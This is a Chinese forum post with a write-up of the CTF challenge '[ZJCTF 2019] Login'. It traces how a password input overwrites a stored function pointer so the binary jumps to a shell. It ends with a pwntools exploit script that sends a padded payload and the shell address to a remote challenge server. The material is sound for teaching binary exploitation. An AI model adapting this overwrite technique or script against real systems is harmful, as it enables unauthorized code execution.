吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2176|回复: 3
收起左侧

[CTF] [栈溢出+参数跟踪] [ZJCTF 2019]Login

[复制链接]
bnuzgn 发表于 2023-8-24 11:24
题目来源

buuctf——[ZJCTF 2019]Login

本题主要考察参数溯源的能力。

参考链接

https://zhuanlan.zhihu.com/p/570607303

题目信息

64位,ubuntu16,开了金丝雀

   
1.png

C++风格的代码,并且将admin登录信息写入代码中。

   
2图.png

溢出点不在这里,但是(**a1)();说明程序将执行参数中的内容。想要利用这里需要通过admin验证。

   
31截图.png

对应的汇编语言,执行了[[rax]],且说明至少有两个lea指令。

   
4截图.png

给出了shell的利用点。

   
5截图.png


解题步骤

回溯rax的赋值步骤,找到可以覆盖现rax值的地址,输入正确admin信息并将shell地址写入该地址即可。

关键步骤

回溯rax


   
6截图.png

回到父函数中

   
7截图.png

进入password_checker中

   
8截图.png

password_checker与read_password中间没有修改rax的值,且同为相同父函数的子函数,rbp相同(可以自己动态调试试试),因此[rbp+var_18]相同。

   
9截图.png

fgets虽然没有溢出,但是也可以覆盖到[rbp+var_18]

   
10截图.png

相差0x48个字节,所以得到了输入密码时的偏移位置。

   
11截图.png

wp
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./login"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",28905)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))


shell = 0x400E88
payload = (b'2jctf_pa5sw0rd').ljust(0x48,b'\x00') + p64(shell)
sla("Please enter username:",b"admin")
sla("Please enter password:",payload)

ti()

免费评分

参与人数 3吾爱币 +9 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
peiki + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

tianyu925 发表于 2023-8-26 09:53
厉害啊,这些
liangjinwuxin 发表于 2023-8-27 09:37
Useropen 发表于 2023-9-9 15:09
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-26 14:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表